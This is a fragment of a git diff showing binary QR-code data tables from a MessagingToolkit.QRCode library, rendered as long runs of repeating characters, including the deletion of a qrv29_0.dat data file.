hhggffee%%&&''((PPOONNMM==>>??@@88776655UUVVWWXXhggffeed``__^^]]==>>??@@$$##""!!hggffeed899::;;<=<<;;::9PQQRRSST%$$##""!hiijjkkl - - ~~} _^^]]\\[TUUVVWWX - - ||{{zzyyddccbbaa))**++,,LLKKJJIIAABBCCDD44332211YYZZ[[\\ cba`__^^\\[[ZZYYAABBCCDD cba`__^^<==>>??@98877665TUUVVWWX! lmmnnoop }||{{zzy[ZZYYXXWXYYZZ[[\xxwwvvuu``__^^]]--..//00HHGGFFEEEEFFGGHH00//..--]]^^__`` - - ]]\\[[ZZXXWWVVUUEEFFGGHH]]\\[[ZZ@AABBCCD54433221XYYZZ[[\pqqrrsstyxxwwvvuWVVUUTTS\]]^^__ettssrrqq\\[[ZZYY11223344DDCCBBAAIIJJKKLL,,++**))aabbccddYYXXWWVVTTSSRRQQIIJJKKLLYYXXWWVVDEEFFGGH100//..-\]]^^__`tuuvvwwxuttssrrqSRRQQPPOeffgghhippoonnmm XXWWVVUU55667788@@??>>==MMNNOOPP((''&&%%eeffgghhUUTTSSRRPPOONNMMMMNNOOPP UUTTSSRRHIIJJKKL-,,++**)`aabbccdxyyzz{{|qppoonnm ONNMMGGFijjkkllm - - llkkjjii!!""##$$TTSSRRQQ99::;;<<<<;;::99QQRRSSTT$$##""!!iijjkkllQQPPOONNLLKKJJIIQQRRSSTT - - QQPPOONNLMMNNOOP)((''&&%deeffggh |}}~~ - - mllkkjji !!""##$FEEDDCCBmnnooppq hhggffee%%&&''((PPOONNMM==>>??@@88776655UUVVWWXX mmnnoopp !!""MMLKJIHGHHGGFFEEUUVVWWXX - - MMLKJIHGPQQRRSST%$$##""!hiijjkkl - - ~~} ihhggffe$%%&&''(BAA@@??>qrrssttuddccbbaa))**++,,LLKKJJIIAABBCCDD44332211YYZZ[[\\qqrrsstt##$$%%&&GFFEEDDCDDCCBBAAYYZZ[[\\GFFEEDDCTUUVVWWX! lmmnnoop }||{{zzyeddccbba())**++,>==<<;;:uvvww}}~``__^^]]--..//00HHGGFFEEEEFFGGHH00//..--]]^^__``uuvvwwxx''(())**CBBAA@@?@@??>>==]]^^__``CBBAA@@?XYYZZ[[\pqqrrsstyxxwwvvua``__^^],--..//0:9988776~\\[[ZZYY11223344DDCCBBAAIIJJKKLL,,++**))aabbccddyyzz{{||++,,--..?>>==<<;<<;;::99aabbccdd?>>==<<;\]]^^__`tuuvvwwxuttssrrq]\\[[ZZY01122334655//..-~~}}|{z XXWWVVUU55667788@@??>>==MMNNOOPP((''&&%%eeffgghh }}~~//556677;::9988788776655eeffgghh !!"";::99887`aabbccdxyyzz{{|qppoonnm YXXWWVVU45566778-,,++**)yxwwvvuu!!""##$$TTSSRRQQ99::;;<<<<;;::99QQRRSSTT$$##""!!iijjkkll - - ~~}}8899::;;7665543244332211iijjkkll##$$%%&&76655432deeffggh |}}~~ - - mllkkjji !!""##$UTTSSRRQ899::;;<)((''&&%ttssrrqq%%&&''((PPOONNMM==>>??@@88776655UUVVWWXX mmnnooppwwvvuutt<<==>>??10//..--00//..--mmnnoopp''(())**10//..--hiijjkkl - - ~~} ihhggffe$%%&&''(QPPOONNM<==>>??@%$$##""!ppoonnmm))**++,,LLKKJJIIAABBCCDD44332211YYZZ[[\\qqrrssttssrrqqpp@@AABBCC,,++**)),,++**))qqrrsstt++,,--..,,++**))lmmnnoop }||{{zzyeddccbba())**++,MLLKKJJI@AABBCCD! llkkjjii--..//00HHGGFFEEEEFFGGHH00//..--]]^^__``uuvvwwxxoonnmmllDDEEFFGG((''&&%%((''&&%%uuvvwwxx//556677((''&&%%pqqrrsstyxxwwvvua``__^^],--..//0IHHGGFFEDEEFFGGHhhggffee11223344DDCCBBAAIIJJKKLL,,++**))aabbccddyyzz{{||kkjjiihhMMNNOOPP$$##""!!$$##""!!yyzz{{||8899::;;$$##""!!tuuvvwwxuttssrrq]\\[[ZZY01122334EDDCCBBAHIIJJKKLdcba`__^55667788@@??>>==MMNNOOPP((''&&%%eeffgghh }}~~ - - ggffee__QQRRSSTT  }}~~<<==>>?? xyyzz{{|qppoonnm YXXWWVVU45566778A@@??>>=LMMNNOOP ^]]\\[[Z99::;;<<<<;;::99QQRRSSTT$$##""!!iijjkkll - - ~~}} ^^]]\\[[UUVVWWXX~~}}@@AABBCC|}}~~ - - mllkkjji !!""##$UTTSSRRQ899::;;<=<<;;::9PQQRRSST - - ZYYXXWWV==>>??@@88776655UUVVWWXX mmnnoopp||{{zzyyZZYYXXWWYYZZ[[\\wwvvuuttDDEEFFGG~~} ihhggffe$%%&&''(QPPOONNM<==>>??@98877665TUUVVWWXVUUTTSSRAABBCCDD44332211YYZZ[[\\qqrrssttxxwwvvuuVVUUTTSS]]^^__eessrrqqppMMNNOOPP}||{{zzyeddccbba())**++,MLLKKJJI@AABBCCD54433221XYYZZ[[\ RQQPPOONEEFFGGHH00//..--]]^^__``uuvvwwxxttssrrqqRRQQPPOOffgghhii - oonnmmllQQRRSSTT -yxxwwvvua``__^^],--..//0IHHGGFFEDEEFFGGH100//..-\]]^^__` - - NMMLKJIHIIJJKKLL,,++**))aabbccddyyzz{{||ppoonnmm NNMMGGFFjjkkllmm -  - - kkjjiihhUUVVWWXX - uttssrrq]\\[[ZZY01122334EDDCCBBAHIIJJKKL-,,++**)`aabbccd GGFFEEDDMMNNOOPP((''&&%%eeffgghh }}~~ - - llkkjjii!!""##$$EEDDCCBBnnooppqq - - ggffee__YYZZ[[\\qppoonnm YXXWWVVU45566778A@@??>>=LMMNNOOP)((''&&%deeffgghCCBBAA@@QQRRSSTT$$##""!!iijjkkll - - ~~}} hhggffee%%&&''((AA@@??>>rrssttuu ^^]]\\[[]]^^__ee - - mllkkjji !!""##$UTTSSRRQ899::;;<=<<;;::9PQQRRSST%$$##""!hiijjkkl??>>==<>??@98877665TUUVVWWX! lmmnnoop !!";;::9988YYZZ[[\\qqrrssttxxwwvvuu``__^^]]--..//0099887766 - - VVUUTTSSjjkkllmmeddccbba())**++,MLLKKJJI@AABBCCD54433221XYYZZ[[\pqqrrsst"##$$%%&77665543]]^^__``uuvvwwxxttssrrqq\\[[ZZYY1122334455//..--~~}}|{zy RRQQPPOOnnooppqqa``__^^],--..//0IHHGGFFEDEEFFGGH100//..-\]]^^__`tuuvvwwx&''(())*210//..-aabbccddyyzz{{||ppoonnmm XXWWVVUU55667788,,++**))xwwvvuut`__^^]]\-..//001HGGFFEEDEFFGGHHI0//..--,]^^__``auvvwwxxy'(())**+0//..--,bbccddeezz{{||}} oonnmmll !!WWVVUUTT66778899++**))((wvvuutts"##$$%%&SRRQQPPO:;;<<==>;::99887RSSTTUUV#""!! jkkllmmn'(())**+)((''&&%\[[ZZYYX12233445DCCBBAA@IJJKKLLM,++**))(abbccddeyzz{{||}+,,--../,++**))(ffgghhii ~~ - - kkjjiihh""##$$%%SSRRQQPP::;;<<==''&&%%$$srrqqppo&''(())*ONNMMLLK>??@@AAB76655443VWWXXYYZnooppqqr+,,--../%$$##""! !XWWVVUUT56677889@??>>==>??@@AA##""!! onnmmllk*++,,--.KJJIIHHGBCCDDEEF3221100/Z[[\\]]^rssttuuv/5566778! !""##$$%TSSRRQQP9::;;<<=<;;::998QRRSSTTU$##""!! ijjkkllm - - ~~}}w899::;;<$##""!! nnooppqq{{zzyyxxccbbaa``**++,,--KKJJIIHHBBCCDDEEkjjiihhg.//00112GFFEEDDCFGGHHIIJ/..--,,+^__``aabvwwxxyyz899::;;<%&&''(()POONNMML=>>??@@A87766554UVVWWXXY mnnooppqwvvuutts<==>>??@ rrssttuuwwvvuutt__^^]]\\..//0011GGFFEEDDFFGGHHIIgffeedcb23344556CBBAA@@?JKKLLMMN+**))(('bccddeefz{{||}}~<==>>??@)**++,,-LKKJJIIHABBCCDDE43322110YZZ[[\\]qrrssttusrrqqppo@AABBCCDvvwwxxyyssrrqqpp[[ZZYYXX22334455CCBBAA@@JJKKLLMMa`__^^]]6778899:?>>==<<;NOOPPQQR'&&%%$$#fgghhiij ~xxw@AABBCCD-..//001HGGFFEEDEFFGGHHI0//..--,]^^__``auvvwwxxyonnmmllkDEEFFGGMzz{{||}} oonnmmll !!WWVVUUTT66778899??>>==<;::99887RSSTTUUV#""!! jkkllmmn - - wvvuuttsDEEFFGGM 12233445DCCBBAA@IJJKKLLM,++**))(abbccddeyzz{{||} kjjiihhgMNNOOPPQ~~ - - kkjjiihh""##$$%%SSRRQQPP::;;<<==;;::9988RRSSTTUU - - XXWWVVUU>??@@AAB76655443VWWXXYYZnooppqqrsrrqqppoMNNOOPPQ - - 56677889@??>>==>??@@AA77665544VVWWXXYYTTSSRRQQBCCDDEEF3221100/Z[[\\]]^rssttuuvonnmmllkQRRSSTTU - - 9::;;<<=<;;::998QRRSSTTU$##""!! ijjkkllm - - ~~}}| ^]]\\[[ZUVVWWXXY {{zzyyxxccbbaa``**++,,--KKJJIIHHBBCCDDEE33221100ZZ[[\\]] - -PPOONNMMFGGHHIIJ/..--,,+^__``aabvwwxxyyzkjjiihhgUVVWWXXY =>>??@@A87766554UVVWWXXY mnnooppq|{{zzyyxZYYXXWWVYZZ[[\\]wwvvuutt__^^]]\\..//0011GGFFEEDDFFGGHHII//..--,,^^__``aa LKJIHGGFJKKLLMMN+**))(('bccddeefz{{||}}~ -gffee__^YZZ[[\\]ABBCCDDE43322110YZZ[[\\]qrrssttuxwwvvuutVUUTTSSR]^^__eefssrrqqpp[[ZZYYXX22334455CCBBAA@@JJKKLLMM++**))((bbccddeeFEEDDCCBNOOPPQQR'&&%%$$#fgghhiij ~ - ^]]\\[[Z]^^__eefEFFGGHHI0//..--,]^^__``auvvwwxxytssrrqqpRQQPPOONfgghhiij oonnmmll !!WWVVUUTT66778899??>>==<RSSTTUUV#""!! jkkllmmn - - ~~}}||{ZYYXXWWVfgghhiijIJJKKLLM,++**))(abbccddeyzz{{||} poonnmml !NMMGGFFEjkkllmmn - - kkjjiihh""##$$%%SSRRQQPP::;;<<==;;::9988RRSSTTUU##""!! jjkkllmm>==<<;;:VWWXXYYZnooppqqr{zzyyxxwVUUTTSSRjkkllmmn MNNOOPPQ(''&&%%$effgghhi }~~ - - lkkjjiih!""##$$%EDDCCBBAnooppqqrggffeedd&&''(())OONNMMLL>>??@@AA77665544VVWWXXYYnnooppqq !!""##:9988776Z[[\\]]^rssttuuvwvvuuttsRQQPPOONnooppqqr !!""##$QRRSSTTU$##""!! ijjkkllm - - ~~}}| hggffeed%&&''(()A@@??>>=rssttuuvccbbaa``**++,,--KKJJIIHHBBCCDDEE33221100ZZ[[\\]]rrssttuu$$%%&&''65543210^__``aabvwwxxyyzsrrqqppoNMMGGFFErssttuuu$%%&&''(UVVWWXXY mnnooppq|{{zzyyxdccbbaa`)**++,,-=<<;;::9vww}}~~__^^]]\\..//0011GGFFEEDDFFGGHHII//..--,,^^__``aavvwwxxyy(())**++//..--,,bccddeefz{{||}}~ -onnmmllk !!"EDDCCBBAuttssrrq())**++,YZZ[[\\]qrrssttuxwwvvuut`__^^]]\-..//00198877665~[[ZZYYXX22334455CCBBAA@@JJKKLLMM++**))((bbccddeezz{{||}},,--..//++**))((fgghhiij ~ - kjjiihhg"##$$%%&A@@??>>=qppoonnm,--..//0]^^__``auvvwwxxytssrrqqp\[[ZZYYX122334455//..--,~}}|{zyx !!WWVVUUTT66778899??>>==<>??@@AA77665544VVWWXXYYnnooppqqvvuuttss==>>??@@rssttuuvwvvuutts_^^]]\\[.//001125//..--,eddccbba899::;;>??@@A$##""!! oonnmmll**++,,--KKJJIIHHBBCCDDEE33221100ZZ[[\\]]rrssttuurrqqppooAABBCCDDvwwxxyyzsrrqqppo[ZZYYXXW23344556,++**))(a``__^^]<==>>??@mnnooppq|{{zzyyxdccbbaa`)**++,,-LKKJJIIHABBCCDDE kkjjiihh..//0011GGFFEEDDFFGGHHII//..--,,^^__``aavvwwxxyynnmmllkkEEFFGGMMz{{||}}~ -onnmmllk !!"WVVUUTTS6778899:(''&&%%$]\\[[ZZY@AABBCCDqrrssttuxwwvvuut`__^^]]\-..//001HGGFFEEDEFFGGHHIggffeedc22334455CCBBAA@@JJKKLLMM++**))((bbccddeezz{{||}} jjiihhggNNOOPPQQ ~ - kjjiihhg"##$$%%&SRRQQPPO:;;<<==>$##""!! YXXWWVVUDEEFFGGHuvvwwxxytssrrqqp\[[ZZYYX12233445DCCBBAA@IJJKKLLMba`__^^]66778899??>>==<??@@AAB UTTSSRRQHIIJJKKLyzz{{||} poonnmml !XWWVVUUT56677889@??>>==>??@@AA77665544VVWWXXYYnnooppqq{{zzyyxxYYXXWWVVZZ[[\\]]wvvuutts_^^]]\\[.//00112GFFEEDDCFGGHHIIJMLLKKJJIPQQRRSST~~}}| hggffeed%&&''(()POONNMML=>>??@@A87766554UVVWWXXYUTTSSRRQBBCCDDEE33221100ZZ[[\\]]rrssttuuwwvvuuttUUTTSSRR^^__eeffsrrqqppo[ZZYYXXW23344556CBBAA@@?JKKLLMMN IHHGGFFETUUVVWWX|{{zzyyxdccbbaa`)**++,,-LKKJJIIHABBCCDDE43322110YZZ[[\\] -QPPOONNMFFGGHHII//..--,,^^__``aavvwwxxyyssrrqqppQQPPOONNgghhiijj -onnmmllk !!"WVVUUTTS6778899:?>>==<<;NOOPPQQR - - -EDDCCBBAXYYZZ[[\xwwvvuut`__^^]]\-..//001HGGFFEEDEFFGGHHI0//..--,]^^__``a - MLKJIHGGJJKKLLMM++**))((bbccddeezz{{||}} oonnmmll !!MMGGFFEEkkllmmnn - kjjiihhg"##$$%%&SRRQQPPO:;;<<==>;::99887RSSTTUUV - A@@??>>=\]]^^__`tssrrqqp\[[ZZYYX12233445DCCBBAA@IJJKKLLM,++**))(abbccddeFFEEDDCCNNOOPPQQ''&&%%$$ffgghhii ~~ - - kkjjiihh""##$$%%DDCCBBAAooppqqrrgffeeddc&''(())*ONNMMLLK>??@@AAB76655443VWWXXYYZ=<<;;::9`aabbccdpoonnmml !XWWVVUUT56677889@??>>==>==ssttuuvvcbbaa``_*++,,--.KJJIIHHGBCCDDEEF3221100/Z[[\\]]^98877665deeffgghlkkjjiih!""##$$%TSSRRQQP9::;;<<=<;;::998QRRSSTTU$##""!! ijjkkllm>>==<<;;VVWWXXYYnnooppqq{{zzyyxxccbbaa``**++,,--<<;;::99ww}}~~_^^]]\\[.//00112GFFEEDDCFGGHHIIJ/..--,,+^__``aab54433221hiijjkklhggffeed%&&''(()POONNMML=>>??@@A87766554UVVWWXXY mnnooppq !!""#::998877ZZ[[\\]]rrssttuuwwvvuutt__^^]]\\..//001188776655~~[ZZYYXXW23344556CBBAA@@?JKKLLMMN+**))(('bccddeef !!""#100//..-lmmnnoopdccbbaa`)**++,,-LKKJJIIHABBCCDDE43322110YZZ[[\\]qrrssttu#$$%%&&'66554321^^__``aavvwwxxyyssrrqqpp[[ZZYYXX22334455//..--,,}}|{zyxw !!"WVVUUTTS6778899:?>>==<<;NOOPPQQR'&&%%$$#fgghhiij#$$%%&&'-,,++**)pqqrrssttuuZHAbtArd~HXvbHAZpnvpZHAbbtlf~HrXQJ`ہdrtnvpZHAbbtlbHAZpˁdrtH~fے`JXQtArdp˂rbdQZ|`vXnr˂p|ZdQbfpvے`JXQ|ZdQb`f~˂bfH~˙ے`JXJtArdfpvbHAAJltfH~˙ے`JXJtArdbHAJlt`vXnr˂pf~HXQJ`ےdrtAvpfZHAbtl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~HfpJ`ےrtAJlvpfHۑpJAHrXnvˍQtJl`JXQArd|fpvbHAZpJlt~f``JXQArd|bHAZprtAJlvXn˂pZZdQbtXv`fdrtAJvpfHHAbےlJtAfpvHAZp˂~f`JXQrrd|vnXbHAZpˑtbd~f`󙐂ˁ`ZpfH~tbAdZr˂pZdQbtnXv`ˑ˂rXbdQZ|vXnr˂pZdQbtbHtbdQvpfHHAbےlJtAHfpltb~f``JXQrrd|nXv`bHAvXnۉ˂pZHZdQbtv`frXQQZ|dvXnQXAHrf۝`v|drZHAbۉlJtf~HQJ`ےdrtAvpfHZHAbۉlJtAZp˂Z|d~f``JXQrrd|vnrdQZ|vXn˂pZZdQbtf~HZdrvpfHAbے`lJtA~HfpJ`ےrtAJlvpfHˁ`ZQXnvˍQtJl`JXQArd|fpvbHAZpJlt~f``JXQArd|rXQJ`rtAJvXn˂pZZdQbtXQJ`ےdrtAJvpfHHAbےlJtAXv`ftAJbd~f`JXQrrd|vnXbHAZpˑtbd~f`Xb㉀ۑpfH~tbAdZ|yz{|}~~}|{z66667777777777777777777777777777777 \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv29_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv29_0.dat deleted file mode 100644 index b6cc568..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv29_0.dat +++ /dev/null @@ -1,265 +0,0 @@ -|{|{{{{{yyyyyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopopopopopmnmnmnmnklklklklijijijijghghghghefefefefdcdcdcccbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQNMNMNMNMKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?>=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopoponmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefcccdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQNMNMNMNMKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656~}{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656~}~}~}~}{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKKIJIJIJIJIJIJIJIHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656~}~}~}~}{|{|{|{|yzyzyzyzyxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKKKKLKLKIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656~}~}~}~}{|{|{|{{yzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=<;<;<;<;<9:9:9:9:7878787856565656~}~}~}~}{{{{|{|{yzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnmlklklklklklklklijijijijghghghghefefefefccccccdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:7878787856565656~}~}~}~}|{|{|{|{yzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:7878787856565656~}~}~}~}|{|{|{|{yzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHGHGHGHGFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:7878787856565656~}~}~}~}|{|{|{|{yzyzyzyzwxwxwxwxwvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKKKKKKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:7878787856565656~}~}~}~}|{|{|{|{yzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;:9:9:9:9:7878787856565656~}~}~}~}|{{{{{{|yzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklkjijijijijijijijghghghghefefedcddcdcccccbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:7878787856543434~}~}~}~}{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijijijijijghghghghcdcdccccdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:7878787834333333~}~}~}~}{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijijijijijghghghgfccdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:7878765643434343~}~}~}~}{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvutstststststststqrqrqrqropopopopmnmnmnmnklklklklijijijijijijijijefefefefdcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKKKKIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:9:5656565643434343~}~}~}~}{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklijijijijijijijijefefefefdcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKKLKLKLKIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:9:9:9:985656565643434343~}~}~}~}{|{|{{{{yzyzyzyzwxwxwxwxuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklijijijijihghghghefefefefdcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878785656565643434343~}~}~}~}{{|{|{|{yzyzyzyzwxwxwxwxuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefdcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878785656565643434333~}~}~}~}|{|{|{|{yzyzyzyzwxwxwxwxuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefcccccdcdbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCBABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878785656565633343434~}~}~}~}|{|{|{|{yzyzyzyzwxwxwxwxuvuvuvuvststststsrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcdbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878785656565634343434~}~}~}~}|{|{|{|{yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcdbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKKKKKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:787878785656565634343434~}~}~}~}|{|{|{|{yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcdbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78787878565656563434343443433333~}~}~}~}{{{{{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefcdcdcdcdbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMN